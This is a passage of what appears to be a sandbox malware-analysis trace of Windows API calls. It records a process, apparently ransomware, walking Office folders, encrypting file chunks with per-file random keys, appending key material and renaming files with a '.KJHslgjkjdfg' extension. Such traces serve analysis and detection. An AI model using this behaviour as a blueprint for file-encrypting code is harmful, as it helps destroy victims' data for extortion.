ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.710] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0163.710] GetProcessHeap () returned 0x990000 [0163.710] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28a) returned 0x9b7b48 [0163.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.711] GetLastError () returned 0x5 [0163.711] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0163.711] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.711] GetProcessHeap () returned 0x990000 [0163.711] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b48 | out: hHeap=0x990000) returned 1 [0163.711] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0163.711] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0163.712] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0163.712] GetProcessHeap () returned 0x990000 [0163.712] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0163.712] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0163.712] GetProcessHeap () returned 0x990000 [0163.712] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x80) returned 0x9b2468 [0163.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0163.713] GetProcessHeap () returned 0x990000 [0163.713] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.713] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.713] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0163.713] GetProcessHeap () returned 0x990000 [0163.713] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x282) returned 0x9b78c0 [0163.713] GetProcessHeap () returned 0x990000 [0163.713] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b2468 [0163.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.715] GetProcessHeap () returned 0x990000 [0163.715] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.715] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.715] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0163.715] GetProcessHeap () returned 0x990000 [0163.715] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b7b50 [0163.715] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0163.715] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0163.715] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0163.715] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0163.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0163.716] GetFileSizeEx (in: hFile=0x114, lpFileSize=0x29deff8 | out: lpFileSize=0x29deff8*=1680383) returned 1 [0163.716] GetProcessHeap () returned 0x990000 [0163.716] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.716] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.716] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.716] WriteFile (in: hFile=0x114, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe4, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe4*=0x1, lpOverlapped=0x0) returned 1 [0163.718] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defe8 | out: phKey=0x29defe8*=0x9b6668) returned 1 [0163.718] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.718] GetProcessHeap () returned 0x990000 [0163.718] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0163.718] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defc8*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defc8*=0x30) returned 1 [0163.718] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.718] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe4, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe4*=0x30, lpOverlapped=0x0) returned 1 [0163.718] WriteFile (in: hFile=0x114, lpBuffer=0x29defec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe4, lpOverlapped=0x0 | out: lpBuffer=0x29defec*, lpNumberOfBytesWritten=0x29defe4*=0x4, lpOverlapped=0x0) returned 1 [0163.718] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe4*=0x10, lpOverlapped=0x0) returned 1 [0163.718] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe4*=0x80, lpOverlapped=0x0) returned 1 [0163.719] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0163.719] WriteFile (in: hFile=0x114, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe4, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe4*=0x8, lpOverlapped=0x0) returned 1 [0163.719] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defe8 | out: phKey=0x29defe8*=0x9b6668) returned 1 [0163.719] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.719] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29defb8 | out: lpNewFilePointer=0x0) returned 1 [0163.719] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29defac, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29defac*=0x40000, lpOverlapped=0x0) returned 1 [0163.726] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29defb4*=0x40000) returned 1 [0163.732] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.732] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29defb0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defb0*=0x40000, lpOverlapped=0x0) returned 1 [0163.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.733] WriteFile (in: hFile=0x114, lpBuffer=0x29defb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defb0, lpOverlapped=0x0 | out: lpBuffer=0x29defb8*, lpNumberOfBytesWritten=0x29defb0*=0x8, lpOverlapped=0x0) returned 1 [0163.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x29defb8 | out: lpNewFilePointer=0x0) returned 1 [0163.733] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29defac, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29defac*=0x40000, lpOverlapped=0x0) returned 1 [0163.739] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29defb4*=0x40000) returned 1 [0163.743] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.743] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29defb0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defb0*=0x40000, lpOverlapped=0x0) returned 1 [0163.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.744] WriteFile (in: hFile=0x114, lpBuffer=0x29defb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defb0, lpOverlapped=0x0 | out: lpBuffer=0x29defb8*, lpNumberOfBytesWritten=0x29defb0*=0x8, lpOverlapped=0x0) returned 1 [0163.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15a400, lpNewFilePointer=0x0, dwMoveMethod=0x29defb8 | out: lpNewFilePointer=0x0) returned 1 [0163.744] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29defac, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29defac*=0x40000, lpOverlapped=0x0) returned 1 [0163.749] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29defb4*=0x40000) returned 1 [0163.752] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.753] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29defb0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defb0*=0x40000, lpOverlapped=0x0) returned 1 [0163.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.754] WriteFile (in: hFile=0x114, lpBuffer=0x29defb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defb0, lpOverlapped=0x0 | out: lpBuffer=0x29defb8*, lpNumberOfBytesWritten=0x29defb0*=0x8, lpOverlapped=0x0) returned 1 [0163.754] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.754] SetEndOfFile (hFile=0x114) returned 1 [0163.756] GetProcessHeap () returned 0x990000 [0163.756] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0163.756] GetProcessHeap () returned 0x990000 [0163.756] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.kjhslgjkjdfg")) returned 1 [0163.757] CloseHandle (hObject=0x114) returned 1 [0163.757] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0163.757] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0163.757] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0163.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0163.757] GetProcessHeap () returned 0x990000 [0163.757] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.757] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0163.758] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0163.758] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.758] GetProcessHeap () returned 0x990000 [0163.758] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0163.758] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29defd0*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29defd0*=0x50) returned 1 [0163.758] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.758] WriteFile (in: hFile=0x114, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29defe8*=0x50, lpOverlapped=0x0) returned 1 [0163.761] WriteFile (in: hFile=0x114, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0163.761] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0163.761] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0163.761] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0163.762] WriteFile (in: hFile=0x114, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0163.762] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0163.762] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.762] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.762] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd980, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xd980, lpOverlapped=0x0) returned 1 [0163.764] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xd980, dwBufLen=0xd980 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xd980) returned 1 [0163.764] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.764] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd980, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xd980, lpOverlapped=0x0) returned 1 [0163.765] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.765] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xda64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.765] SetEndOfFile (hFile=0x114) returned 1 [0163.766] GetProcessHeap () returned 0x990000 [0163.766] HeapFree (in: 